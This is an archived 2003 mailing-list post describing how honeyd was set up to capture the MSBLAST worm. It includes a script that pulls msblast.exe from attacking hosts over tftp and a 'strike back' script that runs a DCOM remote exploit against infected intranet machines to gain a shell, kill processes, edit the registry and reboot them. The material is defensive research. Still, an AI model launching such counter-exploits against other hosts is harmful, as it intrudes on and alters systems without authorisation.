Fighting worms with honeypots : honeyd vs msblast.exe

From: oudot (oudot_at_rstack.org)
Date: 08/19/03

  • Next message: Robert.Lupo_at_nokia.com: "RE: Network IDS"
    Date: Tue, 19 Aug 2003 17:59:47 +0200
    To: focus-ids@securityfocus.com
    
    

    While trying to help the community to fight the evil worm MSBLAST, i
    looked at my favourite honeypot, called honeyd, to check if we could not
    play with the worm itself (Labrea played with another worm in the
    past... the past should not be forgotten).

    [Honeyd is a free software product by Niels Provos :
    http://www.citi.umich.edu/u/provos/honeyd]

    As i saw a growing number of TCP requests against my honeyd (port 135) i
    decided to open the port (look at honeyd conf file for that) :
    ---8<---
    add template tcp port 135 open
    ---8<---

    Wooo, i got plenty of (fake) TCP sessions against this port. A tcpdump
    could allow to learn what was launched against this port (tcpdump -n -w
    135.cap -s 1514 tcp and port 135). This could be used to analyse the
    virus network payload and shellcode.

    Then i learned that the worm called MSBLAST wanted to get a shell over
    the 4444 TCP port. So i created a fake service over the TCP port 4444,
    to play with the worm :
    ---8<---
    add template tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
    ---8<---

    Owing to this 4444.sh script, it was then able to begin to work with the
    worm itself.
    Almost firstable, this script 4444.sh was used to suck the worm directly
    from the attacker. Here is an example that i created for fun with
    moutane (rstack team) :
    ---8<---
    #!/bin/sh
    # we create a temporary directory for each specific attacker
    # to be sure we get every version on the wild
    mkdir /tmp/$1-$2
    cd /tmp/$1-$2
    # we connect via tftp to the attacker
    # and we get the msblast.exe file
    tftp $1 << EOF
    get msblast.exe
    quit
    EOF
    ---8<---

    I restarted my honeyd. Then, every hosts owned by msblast that was
    attacking my honeypot, first saw that the port 135 was opened. They then
    sent their evil payload on it, and naturally tryed to launch their
    commands on the port 4444...
    I got the msblast.exe file in less than 5 minutes (internet is so evil
    you know...) and give it to a friend for an internal analysis in the
    rstack team.

    Hmmm. This script (4444.sh) can easily be modified to do better things,
    that's what we thought about...

    Imagine that the honeypot sees an Msblast attack coming from a host.
    That should mean that the host is infected by Msblast, right ?!

    So, on an intranet, we tried to look at the possibility to automatically
    clean an msblast'ed host that would attack the honeypot !

    To be able to do that, we would only have to launch the same attack
    against the attacker itself, in order to get a shell, and to kill the
    evil process, and so on ("use the force luke...")

    Bad thing would say laws-addicted guys. True. I agree.

    So the idea was to strike back only against host from our internal
    network, to avoid an attack against hosts that we don't manage (we
    filtered the trafic in the final script and on an outbound router).

    [!] This idea is very dangerous, cause bad people could use that to
    automatically abuse infected hosts that attack them. I won't talk too
    much about that to avoid another black hat script kiddy wave on the net.

    Here is a funny proof of concept made with VG and Moutane for a 4444.sh
    shell script.
    When an infected host attacks the honeypot, honeyd launch the script
    that will connect itself to the infected attacker using the RPC DCOM
    remote exploit made by [oc192.us], gaining a shell too !
    Then it will kill the process msblast.exe, the associated files on the
    disk, and the will clean the registry.
    Remember it's a proof of concept.
    It will work against Windows XP hosts :

    ---8<---
    #!/bin/sh
    # launch the exploit against the internal attacker
    /usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF
    taskkill /f /im msblast.exe /t
    del /f %SystemRoot%\System32\msblast.exe
    echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
    echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    >> c:\cleaner_msblast.reg
    echo "windows auto update" = "REM msblast.exe" >> c:\cleaner_msblast.reg
    regedit /s c:\cleaner_msblast.reg
    del /f c:\cleaner_msblast.reg
    shutdown -r -f -t 0
    exit
    EOF
    ---8<---

    We tried it.
    It worked :-)
    Every msblasted infected hosts on our intranet, while attacking the
    honeypot, received a strong strike back answer, destroying the worm on
    it ("in your face, from downtown").

    If you search something better to remove the worm, you can replace part
    of the script by a simple : "cscript cleaner.vbs" where cleaner.vbs
    could be inspired by http://www.rstack.org/oudot/cleaner.vbs
    This one is better that the previous 4444.sh cause it knows how to deal
    with new variants of the worm.

    You can also try to automatically install the patch on the infected host
    (look at microsoft web site for that, they propose a vbs script).

    Honeyd, used like that, is more than a Honeypot, it also plays the role
    of a kind of IDS (who is infected) and Intrusion Prevention System...

    Big thanks to moutane and vg from the team rstack for their help and
    ideas for the tests (infected hosts, etc).

    life is short, have fun.

    oudot@rstack.org
    member of the team rstack
    http://www.rstack.org

    NB: To force honeyd to answer to every hosts, launch arpd without
    argument, and use a honeyd config file like that :
    ---8<---
    create default
    set default personality "Windows XP Pro"
    add default tcp port 135 open
    add default tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
    set default tcp action block
    set default udp action block
    set default uid 32767 gid 32767
    ---8<---

    ---------------------------------------------------------------------------
    Attend Black Hat Briefings & Training Federal, September 29-30 (Training), October 1-2 (Briefings) in Tysons Corner, VA; the world’s premier
    technical IT security event. Modeled after the famous Black Hat event in
    Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
    Symanetc is the Diamond sponsor. Early-bird registration ends September 6 Visit: www.blackhat.com
    ---------------------------------------------------------------------------


  • Next message: Robert.Lupo_at_nokia.com: "RE: Network IDS"

    Relevant Pages

    • Hacked? (UPDATE)
      ... The attacker used a worm or bot that tried hundreds of ... This way, even if I close the Samba hole, the trojaned ... the attacker to get back in using any of the passwords in the ...
      (FreeBSD-Security)
    • How to obtain a complete list of CR2 compromised hosts
      ... How to obtain a complete list of CR2 compromised hosts ... The problem with releasing a worm or virus to obtain some information ... originator creates a very clear trail that can be traced back to the ... a worm might send password lists to a Usenet ...
      (Incidents)
    • Re: [Full-Disclosure] interesting?
      ... >> remains whether the worm author is a maths wizard or just plain lucky. ... previously infected hosts. ... When it knows it's going to infect ...
      (Full-Disclosure)
    • Re: Linux worm targets
      ... >So if the hosts aren't vulnerable, how does the worm gain access? ... And how does a worm externally determine what distribution ... Apache doesn't always reveal distro names (e.g. ... source code is then placed on the victim server, ...
      (comp.os.linux.security)
    • CodeRed II ARIS Incident Analysis
      ... A new worm affecting unpatched Microsoft IIS web servers has been ... the author has embedded the string "CodeRedII" inside the code. ... this will allow any attacker (not just the ... worm author) access to the victim web server at a later date. ...
      (NT-Bugtraq)